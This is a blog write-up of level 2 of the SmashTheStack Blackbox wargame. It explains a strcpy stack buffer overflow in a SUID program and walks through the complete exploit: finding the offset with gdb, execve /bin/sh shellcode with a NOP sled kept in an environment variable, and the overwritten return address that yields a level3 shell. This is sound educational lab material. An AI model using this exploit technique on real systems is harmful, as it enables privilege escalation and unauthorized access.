Welcome back to Technolution. \u00a0Today’s blog will be about the SmashTheStack wargame, Blackbox. \u00a0We will be looking at level 2 of the wargame and as such I will assume you have the correct login credentials. \u00a0Now let’s begin by ssh’ing into blackbox as level2.<\/p>\n
Upon arrival a quick ls -la shows a SUID level3\/level2 program called getowner as well as what we will assume is it’s source, getowner.c. \u00a0Let’s examine getowner.c:<\/p>\n
level2@blackbox:~$ more getowner.c
\n#include <stdio.h>
\n#include <sys\/types.h>
\n#include <sys\/stat.h>
\n#include <unistd.h>
\n#include <stdlib.h><\/p>\nint main(int argc, char **argv)
\n{
\nchar *filename;
\nchar buf[128];<\/p>\nif((filename = getenv(“filename”)) == NULL) {
\nprintf(“No filename configured!\\n”);
\nreturn 1;
\n}<\/p>\nwhile(*filename == ‘\/’)
\nfilename++;
\nstrcpy(buf, “\/tmp\/”);
\nstrcpy(&buf[strlen(buf)], filename);<\/p>\nstruct stat stbuf;
\nstat(buf, &stbuf);
\nprintf(“The owner of this file is: %d\\n”, stbuf.st_uid);<\/p>\nreturn 0;
\n}<\/p><\/blockquote>\nBefore we can exploit a vulnerability we must first find one, and the first step towards finding a vulnerability is to understand what the program is doing. \u00a0Looking at the source we see that there are two variables used in the program, a character pointer called filename and a character array of size 128 called buf. \u00a0After variable declaration the program gets the address of the start of an environmental variable called “filename” and assigns it to our char pointer, filename. \u00a0If no environmental variable called filename exists, the program prints “No filename configured” and exits. \u00a0At this point, we can see that we may have a way to insert code into the program by controlling the environmental variable “filename”, however we need to see what the program does with the string to see how it might be of use. \u00a0After loading the filename variable the\u00a0next step of the program tests the contents of the string pointed to by filename. \u00a0If the string starts with the character “\/”, filename is advanced by one. \u00a0This effectively strips any leading “\/” characters from the filename string.<\/p>\n
Next, we see the use of strcpy. \u00a0As used, strcpy copies the string provided as the 2nd parameter to continuous memory starting at the location provided by the first parameter. \u00a0It will continue to copy memory until a NULL character is reached (hex 0x00). \u00a0Thus we see the memory for our char array buf, get’s the string “\/tmp\/” written to it, then the contents of the memory starting at the location pointed to by filename written starting after the “\/tmp\/”.<\/p>\n
After strcpy, a structure is assigned for file stats, using the full file name now in buf. \u00a0Finally, printf writes to the screen the owner of the file with location stored in buf (\/tmp\/stringPointedToByfilename), and the program exits.<\/p>\n
Now that we understand the program, we can analyze how it might be vulnerable to exploitation. \u00a0Understanding the call stack is important for what we are looking at here today with buffer overflows. \u00a0Hopefully we are familiar with the idea of the call stack, and that when functions are called on a computer, they need memory to be allocated for their variables, and a couple other things. \u00a0This isn’t a stack tutorial so we won’t go into general details, but let’s look at today’s example. \u00a0In our getowner program, when main is executed, we will see the following layout on the call stack:<\/p>\n
[filename][buf][argc\/argv][sfp] \u00a0 [ra]<\/p>\n
[CCCC][BB…BB][DD…DD][XXXX][ZZZZ]<\/p>\n
[4bytes][128bytes][4bytes+9bytes][4bytes][4bytes]<\/p>\n
This memory structure, combined with strcpy into buf, means that if we supply a string to strcpy that is longer than buf, strcpy will end up overwriting the memory for argc\/argv, the saved frame pointer, and eventually the return address. \u00a0This is a major security problem in that if the return address is overwritten with a value representing a valid memory location, any code at that location will be executed. \u00a0It’s also a quality assurance problem in that if the return address doesn’t have a valid location in it, it will cause a program crash.<\/p>\n
Now we know we can and want to overflow buf, so let’s think backwards. \u00a0How does buf get it’s data? \u00a0From filename. \u00a0Where does filename get it’s value? \u00a0From the environmental variable called “filename”. \u00a0So let’s create an environmental variable with the name filename and a value of a string of A’s using perl and the export command. \u00a0Let’s also test the getowner program after doing so to make sure it reads the env var:<\/p>\n
level2@blackbox:~$ export filename=`perl -e ‘print “A”x160’`
\nlevel2@blackbox:~$ .\/getowner
\nThe owner of this file is: 0
\nSegmentation fault<\/p><\/blockquote>\nThere we go. \u00a0Segmentation fault is indicating we’re most likely overwritten the return address and the program is trying to execute code at a memory address without valid executable code. \u00a0The next thing we want to do is determine how many A’s we need to stuff in filename so that we can carefully overwrite the return address. \u00a0We can examine the RA using gdb. \u00a0Let’s give it a test run:<\/p>\n
level2@blackbox:~$ gdb getowner
\nGNU gdb 6.4.90-debian
\n…<\/p>\n(gdb) run
\nStarting program: \/home\/level2\/getowner
\nThe owner of this file is: 0<\/p>\nProgram received signal SIGSEGV, Segmentation fault.
\n0x41414141 in ?? ()<\/p><\/blockquote>\nThe 0x41414141 at the end is our indicator that the return address, and eventually EIP, got overwritten with A’s (41 is the hex code value for ascii A). \u00a0From here we will do a quick test with the filename string length to determine how many bytes are needed til we overwrite the RA. \u00a0One could also continue using gdb to determine where the RA is and how many bytes are between the buffer and RA, but we’ll go with the less technical route today for ease of readability (and since this isn’t a gdb tutorial).<\/p>\n
Now that we know 160 A’s overwrites the return address, let’s try with 150, and add the 32 bit string “BBBB” to the end. \u00a0This is to help determine the correct number of bytes before the return address. \u00a0Let’s try again:<\/p>\n
level2@blackbox:~$ export filename=`perl -e ‘print “A”x150,”BBBB”‘`
\nlevel2@blackbox:~$ gdb getowner
\nGNU gdb 6.4.90-debian
\n…<\/p>\n(gdb) run
\nStarting program: \/home\/level2\/getowner
\nThe owner of this file is: 0<\/p>\nProgram received signal SIGSEGV, Segmentation fault.
\n0x00424242 in ?? ()<\/p><\/blockquote>\nExcellent! \u00a0We can see with 154 total bytes, we are one byte short of completely filling up the return address. \u00a0Thus, adding one more A to our string (151 in total) will correctly position the 32 bit string “BBBB” to overwrite the return address. \u00a0Now if we replace “BBBB” with 4 hex bytes that correspond to an actual memory address, we’ll be ready to make the program go execute the code we desire<\/em>. \u00a0First however, we must decide on the code we want to execute. \u00a0Then we can place it into memory, and finally, get it’s memory address.<\/p>\n
To write code which will execute, we must write it in low-level op-code. \u00a0Op-code is Operating System and hardware architecture\u00a0dependent. \u00a0We will refer to our op-code today as shellcode since we will be using code which spawns a shell [executes \/bin\/sh with the linux command execve(\/bin\/sh)]. \u00a0Since today’s article is not about writing shellcode we will simply use the following 42 byte shellcode which we obtained online from Packet Storm<\/a>:<\/p>\n
“\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31\\xdb\\x89\\xd8”
\n“\\xb0\\x2e\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68”
\n“\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31”
\n“\\xd2\\xb0\\x0b\\xcd\\x80”<\/p><\/blockquote>\nThe easiest way to place the above code into memory would be to place it in an environmental variable. \u00a0While we could use the filename environmental variable, we can also make a new one. \u00a0So to keep things simple, let’s assign our shellcode to the environmental variable SHELLCODE:<\/p>\n
level2@blackbox:~$ export SHELLCODE=$’\\x90\\x90\\x90\\x90\\x90\\x90\\x90
\n\\x90\\x90\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31
\n\\xdb\\x89\\xd8\\xb0\\x2e\\xcd\\x80\\x31\\xc0\\x50\\x68
\n\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3
\n\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80′<\/p><\/blockquote>\nOne thing to note about the above shellcode is that we added the hex value \\x90 to the beginning a few times. \u00a0\\x90 is the op-code instruction for No-Operation (or NOP). \u00a0No-op’s don’t perform any operation during the CPU cycle and simply forward to the next instruction. \u00a0This no-op padding is used so if our program switches execution to the memory location of any<\/em> if the NOPs, we will be fast forwarded to our shellcode.<\/p>\n
Now that our shellcode is loaded into memory, we need to find out where<\/em> it memory it resides. \u00a0To do this we will use a quick C program that takes as input one string, the name of an environmental variable. \u00a0The program then returns the address in memory where the environmental variable is stored. \u00a0Let’s look at the program:<\/p>\n
#include <stdio.h>
\n#include <stdlib.h><\/p>\nint main(int argc, char *argv[])
\n{
\nif(!argv[1])
\nexit(1);
\nprintf(“%#x\\n”, getenv(argv[1]));
\nreturn 0;
\n}<\/p><\/blockquote>\nNow let’s compile our program and use it to find the memory location of the environmental variable SHELLCODE:<\/p>\n
level2@blackbox:\/tmp\/.somedir$ gcc getmem.c -o getmem
\nlevel2@blackbox:\/tmp\/.somedir$ .\/getmem SHELLCODE
\n0xbfffdb78<\/p><\/blockquote>\nAlright! \u00a0Now we know our shellcode begins at memory location 0xbfffdb78. \u00a0Next we should replace our “BBBB” string from filename from the environmental variable with a memory value in the middle of our NOP-sled, and our exploit should be complete! \u00a0One last thing to remember is that we need to write the memory address in little-endian format, which means reverse byte format. \u00a0Let’s rewrite out filename environmental variable:<\/p>\n
level2@blackbox:\/tmp\/.somedir$ export filename=`perl -e ‘print “A”x151,”\\x7f\\xdb\\xff\\xbf”‘`<\/p><\/blockquote>\n
Now let’s see what happens when we run the vulnerable getowner program:<\/p>\n
level2@blackbox:~$ .\/getowner
\nThe owner of this file is: 0
\nsh-3.1$ whoami
\nlevel3<\/p><\/blockquote>\nThere we have it, shell as level3. \u00a0Don’t forget to check out \/home\/level3\/password for the level3 password. \u00a0Level2 has been an intro to buffer overflows. \u00a0While buffer overflow attacks have been common for a long time, compilers and operating systems are working on ways to combat them. \u00a0However, most of the protective measures can also be circumvented by a crafty attacker. \u00a0Due to the nature of buffer overflows, this type of vulnerability is expected to stay around for a long time.<\/p>\n","protected":false},"excerpt":{"rendered":"
Welcome back to Technolution. \u00a0Today’s blog will be about the SmashTheStack wargame, Blackbox. \u00a0We will be looking at level 2 of the wargame and as such I will assume you have the correct login credentials. \u00a0Now let’s begin by ssh’ing … Continue reading